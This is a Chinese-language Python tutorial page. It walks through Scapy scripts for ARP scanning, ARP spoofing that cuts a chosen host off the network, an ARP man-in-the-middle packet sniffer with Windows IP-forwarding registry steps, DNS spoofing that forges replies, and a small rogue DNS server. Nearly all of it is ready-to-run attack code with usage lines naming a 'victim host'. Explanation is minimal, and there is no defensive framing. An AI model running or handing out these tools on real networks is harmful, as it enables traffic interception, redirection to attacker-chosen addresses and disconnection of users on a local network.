Python ARP掃描與欺騙實現(xiàn)全程詳解
ARP欺騙又稱ARP毒化或ARP攻擊,是針對以太網地址解析協(xié)議ARP的一種攻擊技術,通過欺騙局域網內訪問者PC的網關MAC地址,使訪問者PC錯以為攻擊者更改后的MAC地址是網關的MAC,導致網絡不通。此種攻擊可讓攻擊者獲取局域網上的數據包甚至可篡改數據包,且可讓網絡上特定計算機或所有計算機無法正常連線。
實現(xiàn)ARP掃描: 運用Scapy工具包,開發(fā)一款ARP掃描工具,掃描網段內所有的在線主機并顯示其MAC地址。
from scapy.all import *
from optparse import OptionParser
import threading
def parse_ip(targets):
_split = targets.split('-')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
def arp_scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = OptionParser()
parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100")
(options,args) = parser.parse_args()
if options.address:
addr_list = parse_ip(options.address)
for item in addr_list:
threads = []
t = threading.Thread(target=arp_scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()執(zhí)行掃描如下:

實現(xiàn)ARP欺騙: 通過ARP協(xié)議掃描網絡中在線主機,并能夠指定IP地址斷掉網絡.
from scapy.all import *
import argparse
import threading,time
# 生成網段信息,例如輸入: 192.168.1.1/20 生成`1-20`地址
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
# 通過ARP協(xié)議掃描局域網中在線的設備
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
# 創(chuàng)建并發(fā)送有效載荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
print("[+] 目標MAC: {} 目標IP: {} 發(fā)送: 2 packets".format(tgtMac,tgtIP))
# 生成ARP數據包,偽造網關欺騙目標計算機
sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
# 生成ARP數據包,偽造目標計算機欺騙網關
sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)
print("-------------------------------------------------------------------------")
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = argparse.ArgumentParser()
parser.add_argument("-s","--scan",dest="scan",help="輸入一個掃描網段")
parser.add_argument("-i","--interface",dest="interface",help="輸入接口名")
parser.add_argument("-g","--gateway",dest="gateway",help="輸入網關地址")
parser.add_argument("-t","--target",dest="target",help="輸入被害主機地址")
args = parser.parse_args()
# 使用方式: main.py -s192.168.1.1/100
if args.scan:
addr_list = Parse_IP(args.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
# 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10
elif args.gateway and args.target and args.scan == None:
srcMac = get_if_hwaddr(args.interface) # 通過接口名稱獲取本機MAC地址
tgtMac = getmacbyip(args.target) # 通過IP地址獲取目標計算機的MAC地址
gatewayMac = getmacbyip(args.gateway) # 指定本機網段的網關MAC地址
while True:
t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
t.start()
t.join()
time.sleep(1)
else:
parser.print_help()開啟轉發(fā)功能,開始運行里面輸入regedit打開注冊表編輯器,在注冊表定位下面注冊表項。
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters
選擇下面的項目:IPEnableRouter:REG_DWORD:0x0 找到項目鼠標右鍵修改數值為1

ARP數據嗅探: 利用欺騙實現(xiàn)的局域網嗅探工具Windows下需要開啟Routing And RemoteAccess轉發(fā)服務.
import sys,os,threading
import argparse
from scapy.all import *
# 生成ARP數據包,偽造網關欺騙目標計算機
def createArp2Station(interface,target_ip,gateway_ip):
dst_Mac=str(getmacbyip(target_ip))
self_Mac=str(get_if_hwaddr(interface))
Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
try:
sendp(Ether_data,inter=2,iface=interface,loop=1)
except Exception as e:
print("目標ARP數據發(fā)送失敗!")
# 生成ARP數據包,偽造目標計算機欺騙網關
def createArp2Gateway(interface,target_ip,gateway_ip):
dst_Mac = getmacbyip(gateway_ip)
self_Mac = get_if_hwaddr(interface)
Ether_data = None
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
try:
sendp(Ether_data, inter=2,iface=interface,loop=1)
except Exception as e:
print("網關ARP數據發(fā)送失敗!")
def Packet_CallBack(pkt):
if pkt.haslayer(IP):
if pkt.getlayer(IP).src != "127.0.0.1":
ip_src = pkt.getlayer(IP).src
ip_dst = pkt.getlayer(IP).dst
print("源地址: {} ---> 目標地址: {}".format(ip_src,ip_dst))
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
# 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10
Banner()
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="輸入網卡名稱")
parser.add_argument("-t","--target_ip",dest="target_ip",help="輸入目標主機IP")
parser.add_argument("-g","--gateway",dest="gateway",help="輸入網關地址")
args = parser.parse_args()
if args.interface and args.target_ip and args.gateway:
try:
t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
t2.setDaemon(True)
t2.start()
sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
except Exception:
sys.exit(1)
while True:
pass
else:
parser.print_help()
# http and ip.src_host==192.168.1.6 and http.request.method==GET and !(http.request.full_uri matches "http://.*\.jpg.*")實現(xiàn)DNS欺騙: 網上其他人的一種實現(xiàn)方法,代碼如下,只不過我們只做了ARP騙,而在該欺騙基礎上可以加強為DNS欺騙。
import sys
import os
import threading
from scapy.all import *
from optparse import OptionParser
#DNS欺騙函數
def DNS_Spoof(data):
if data.haslayer(DNS):
try:
#構造DNS AN數據
dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
#構造IP/UDP數據包
repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
#構造DNS數據包
repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
#攻擊信息輸出
print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)
#發(fā)送數據包
send(repdata)
except Exception:
sys.exit(1)
#DNS欺騙函數
def DNS_S(dns_ip,iface):
global jokers
jokers=dns_ip
print ("DNS欺騙開始!")
sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
#ARP欺騙函數
def op(eths,mubiao_ip,Ps,gateway_ip):
ip=mubiao_ip
wifi=gateway_ip
#目標設備MAC地址
dst_Mac=str(getmacbyip(ip))
#黑客設備mac地址
self_Mac=str(get_if_hwaddr(eths))
#網關MAC地址
wifi_Mac=str(getmacbyip(wifi))
#構造以太幀數據
Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
try:
#發(fā)送以太幀數據,sendp發(fā)送OSI模型中的二層數據
sendp(Ether_data,inter=2,iface=eths,loop=1)
except Exception as e:
print("目標ARP數據發(fā)送失敗!")
def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
ip=gateway_ip
dst=mubiao_ip
et = eths
#根據IP獲取MAC
dst_Mac = getmacbyip(ip)
#根據網卡獲取MAC
self_Mac = get_if_hwaddr(et)
Ether_data = None
if Ps=="1":
#構造以太幀數據與ARP響應數據,ARP協(xié)議源地址給一個不存在的MAC地址與正確的IP地址對應,實現(xiàn)雙向的無法解析,ARP協(xié)議的op參數是狀態(tài),2為響應數據,1為請求數據
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
#新線程,開始DNS欺騙
t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
t3.setDaemon(True)
t3.start()
if Ps == "0":
#構造以太幀數據與ARP響應數據,這里因為不需要DNS欺騙,所以不需要一個假的MAC地址,讓雙方通信設備正常訪問即可
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
if Ps!="1" and Ps!="0":
print (Ps)
print (type(Ps))
print ('-P 參數有誤!')
sys.exit(1)
try:
sendp(Ether_data, inter=2,iface=et,loop=1)
except Exception as e:
print("網關ARP數據發(fā)送失敗!")
def main():
try:
eth= "Realtek PCIe GBE Family Controller"
mubiao="192.168.1.6"
gateway="192.168.1.1"
P="0"
dip="8.8.8.8"
t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
t2.setDaemon(True)
t2.start()
except Exception as e:
print (e)
sys.exit(1)
while True:
pass
if __name__ == '__main__':
main()DNS欺騙需要一個DNS解析服務器,這里從網上找到一個DNS解析服務器代碼,可以快速解析。
import socketserver,struct
class SinDNSQuery:
def __init__(self, data):
i = 1
self.name = ''
while True:
d = data[i]
if d == 0:
break;
if d < 32:
self.name = self.name + '.'
else:
self.name = self.name + chr(d)
i = i + 1
self.querybytes = data[0:i + 1]
(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
self.len = i + 5
def getbytes(self):
return self.querybytes + struct.pack('>HH', self.type, self.classify)
class SinDNSAnswer:
def __init__(self, ip):
self.name = 49164
self.type = 1
self.classify = 1
self.timetolive = 190
self.datalength = 4
self.ip = ip
def getbytes(self):
res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
s = self.ip.split('.')
res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res
class SinDNSFrame:
def __init__(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
self.query = SinDNSQuery(data[12:])
def getname(self):
return self.query.name
def setip(self, ip):
self.answer = SinDNSAnswer(ip)
self.answers = 1
self.flags = 33152
def getbytes(self):
res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res = res + self.query.getbytes()
if self.answers != 0:
res = res + self.answer.getbytes()
return res
class SinDNSUDPHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
dns = SinDNSFrame(data)
socket = self.request[1]
namemap = SinDNSServer.namemap
if(dns.query.type==1):
name = dns.getname();
if namemap.__contains__(name):
dns.setip(namemap[name])
socket.sendto(dns.getbytes(), self.client_address)
elif namemap.__contains__('*'):
dns.setip(namemap['*'])
socket.sendto(dns.getbytes(), self.client_address)
else:
socket.sendto(data, self.client_address)
else:
socket.sendto(data, self.client_address)
class SinDNSServer:
def __init__(self, port=53):
SinDNSServer.namemap = {}
self.port = port
def addname(self, name, ip):
SinDNSServer.namemap[name] = ip
def start(self):
HOST, PORT = "0.0.0.0", self.port
server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()
if __name__ == "__main__":
server = SinDNSServer()
server.addname('www.lyshark.com', '192.168.1.1')
server.addname('*', '192.168.1.2')
server.start()到此這篇關于Python ARP掃描與欺騙實現(xiàn)全程詳解的文章就介紹到這了,更多相關Python ARP掃描內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Python使用pandas和openpyxl讀取Excel表格的方法詳解
這篇文章主要介紹了Python讀取Excel表格數據的方法,Python提供了多種讀取Excel文件的方式,最常用的庫是pandas和openpyxl,下面我將詳細介紹如何使用這兩個庫來讀取Excel文件,并包含一些實用示例,需要的朋友可以參考下2024-10-10
python通過shutil實現(xiàn)快速文件復制的方法
這篇文章主要介紹了python通過shutil實現(xiàn)快速文件復制的方法,涉及Python中shutil模塊的使用技巧,需要的朋友可以參考下2015-03-03
python?opencv背景減去法摳圖實現(xiàn)示例
這篇文章主要為大家介紹了python?opencv背景減去法摳圖實現(xiàn)示例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2022-05-05
詳解Python中字符串前“b”,“r”,“u”,“f”的作用
這篇文章主要介紹了Python中字符串前“b”,“r”,“u”,“f”的作用,感興趣的朋友跟隨小編一起看看吧2019-12-12

